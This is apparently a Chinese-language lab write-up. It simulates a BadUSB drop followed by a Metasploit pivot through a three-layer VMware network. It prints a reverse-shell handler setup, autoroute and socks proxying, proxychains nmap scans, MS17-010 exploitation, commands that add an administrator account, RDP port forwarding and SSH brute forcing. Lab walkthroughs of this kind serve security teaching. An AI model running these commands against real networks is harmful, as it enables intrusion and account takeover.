作為一個安全人員,聽過許多社工APT案例,釣魚郵件、水坑攻擊、丟個u盤等等。前段時間在一次培訓中瞭解到BadUSB的攻擊方式,可以通過U盤達到控制服務器的效果,在著名的美劇《黑客軍團》中也出現了在停車場扔BadUSB來進行釣魚的場景。
一時好奇,於是嘗試模擬一次社工,利用VMware搭建了3層網絡靶場,通過BadUSB+MSF的攻擊手段,一步一步滲透到第三層網絡。
0x01 三層網絡靶場搭建
本次模擬實驗的網絡拓撲如下:第一層網絡,模擬企業辦公網,為一臺win7的員工辦公電腦,第二層網絡模擬內網,是一臺win2003服務器,第三層網絡為企業核心網,為一臺Linux服務器。攻擊者的攻擊機有kali和win10。
我們可以利用VMware搭建出3層網絡的網絡環境,首先在虛擬機中新建3塊網卡,並選擇僅主機模式:
我們將kali設為第一層網絡vmnet1,在網絡適配器中選擇自定義vmnet1:
在第一層靶機win7虛擬機設置中添加一個網絡,並將兩個網絡分別設為vmnet1和vmnet2,達到雙網卡的效果:
同理,將第二層靶機win2003設為雙網卡vmnet2和vmnet3:
最後,將第三層靶機linux的網絡設為vmnet3:
至此,我們本次試驗的3層網絡靶場已經搭建完畢,攻擊者的kali只能訪問第一層網絡,而無法訪問第二層和第三層的靶機:
0x02 BadUSB介紹
效果演示在介紹BadUSB之前,我們先來看一下他的威力,下面的u盤看上去是一個u盤,但其實內部是一個單片機,普通人很容易被迷惑。我在本地的win10上做了演示,我的系統裝了防病毒軟件,並且補丁也更新到最新,但當我將上面的u盤查到電腦上的時候,他達到了任意執行命令的效果。
當然上面的操作只是為了演示,我們完全可以利用他來做更多隱蔽的攻擊操作。
什麼是BadUSB?簡單來說,就是讓USB設備偽裝成鍵盤,被插入的電腦猝不及防會被迅速輸入一定的“指令”,這個指令會讓該電腦迅速成為肉雞,這個漏洞最早在2014年的BlackHat安全大會上公佈。BadUSB最可怕的一點是惡意代碼存在於U盤的固件中,由於PC上的殺毒軟件無法訪問到U盤存放固件的區域,因此也就意味著殺毒軟件和U盤格式化都無法應對BadUSB進行攻擊。常見的BadUSB1、TEENSY攻擊者在定製攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標,當你插入這個定製的USB設備時,電腦會識別為一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟、是否安裝殺毒軟件,都可以成功。2、USB RUBBER DUCKY簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,後來發展成為一個完全成熟的商業化按鍵注入攻擊平臺。它的原理同樣是將USB設備模擬成為鍵盤,讓電腦識別成為鍵盤,然後進行腳本模擬按鍵進行攻擊。
1、BadUSB設備,目前在淘寶有售,我們這裡選用的是Digispark,Digispark是一個基於ATTINY85微控制器的USB開發板,體積小且價錢便宜,淘寶有售:https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d
2、Arduino IDEArduino IDE用於燒錄代碼的編譯器,可以將我們的惡意代碼燒錄到BadUSB中,配置好相關參數,將開發板設為Digispark,編程器設為USBtinyISP:
編寫好代碼後,我們就可以點擊“上傳”按鈕,然後插入BadUSB設備,一款簡易BadUSB就做好了。
0x03 MSF內網滲透
有了上面的BadUSB的知識,我們可以模擬一個社工場景:企業內部人員撿到了一個“u盤”,出於好奇插在了自己的辦公電腦上,而這個“u盤”其實是一個BadUSB,插上之後會自動下載攻擊者用MSF製作的後門,所以在插上u盤之後,員工的辦公電腦就已經被黑客控制,黑客從而可以進一步進行內網滲透、橫向擴展。下面我們就來看看如何利用MSF一步一步進行內網滲透:
<code>use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.59.128set LPORT 6666exploit/<code>
這樣一來,當win7被插上u盤後,攻擊者的msf就獲得了一個反彈shell:
我們可以在meterpreter中輸入shell獲得靶機win7的shell,執行ipconfig,發現第二層網絡的網段信息:
為了使得MSF能夠繼續對第二層網絡進行滲透,我們首先需要添加路由表:
<code>metepreter> run autoroute -s 192.168.90.0/24/<code>
這樣,通往192.168.90.0/24網段的流量通過meterpreter 的session2進行路由。然後,我們在msf啟動socks代理:
<code>msf> use auxiliary/server/socks4a msf > set srvhost 192.168.59.128 msf > set srvport 9999 msf > run/<code>
這樣其他攻擊軟件可以通過MSF socks代理、添加的路由對第二層滲透。
此時,我們已經可以訪問第二層網絡192.168.90.0/24了,按照常見的滲透思路,我們會對第二層網絡進行掃描探測,看看存活主機有哪些,比如用nmap進行掃描,不過在此之前,我們還需要配置kali中的proxychain,通過proxychain 將nmap的流量通過msf的socks代理,進行第二層的網絡掃描。
配置proxychain修改/etc/proxychains.conf,將裡面的服務器和端口設置為msf socksserver的信息:此時,我們可以利用nmap進行第二層網絡的探測:由於proxychains無法代理icmp的數據包 所以必須添加-Pn -sT參數,即不檢測主機是否存活,直接進行端口tcp掃描。
<code>proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132/<code>
通過掃描我們發現了,第二層網絡中的靶機地址192.168.90.129,同時開啟了80、445、3306、3389端口,因此下一步的滲透可以從這幾個端口考慮。 這裡有幾個思路,可以從80端口找漏洞,嘗試上傳webshell,3306和3389可以嘗試口令爆破,而445端口第一個就會想到大名鼎鼎的MS17-010,永恆之藍。
成功攻擊,獲得meterpreter shell:
拿到system權限,我們可以修改administrator密碼,或者新增管理員用戶:
<code>net user tinhyfisher tinyfisher /add 添加用戶tinyfisher密碼為tinyfisher net localgroup administrators tinyfisher /add 將帳號tinyfishe升級為管理員/<code>端口轉發我們看到,第二層的win2003服務器開啟了3389,我們可以登錄遠程桌面,如果沒有開啟也沒關係,我們可以通過下面的命令開啟。metepreter>run getgui -e 或者metepreter>run post/windows/manage/enable_rdp現在,我們無法直接從最外層訪問第二層的3389,我們需要將3389的流量轉發出來,從而登錄遠程桌面:metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #將目標機192.168.90.129的3389端口轉發到本地kali 7777端口至此,我們已經可以在自己的攻擊機上,遠程登錄並控制第二層靶機了。
然後是利用nmap探測第三層網絡端口信息:
開放了80和22端口,思路比較明顯,要拿到權限,要麼ssh口令爆破,要麼從web端找漏洞傳webshell。
口令爆破首先嚐試第一個思路,看看ssh是否存在弱口令,我們使用auxiliary/scanner/ssh/ssh_login模塊,配置好用戶名和字典,開始爆破:果然存在弱口令123456,直接拿到root權限。
web滲透我們可以在瀏覽器中配置kali為代理服務器,從而訪問第三層網絡:打開訪問,發現是Typecho的博客系統:
對於這種CMS我們的思路一般是直接去互聯網搜索CMS的漏洞poc進行測試,這裡就不再進一步演示:
至此,我們通過BadUSB讓第一層網絡中的win7系統下載並運行我們的惡意軟件,然後通過MSF利用MS17-010、口令爆破、web滲透等方式穿透三層內網,最終拿下第三層網絡系統的權限。常見的滲透思路可以參考下面的腦圖:
上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該瞭解和學習,有想學習網絡安全技能的小夥伴可以隨時私信我哦!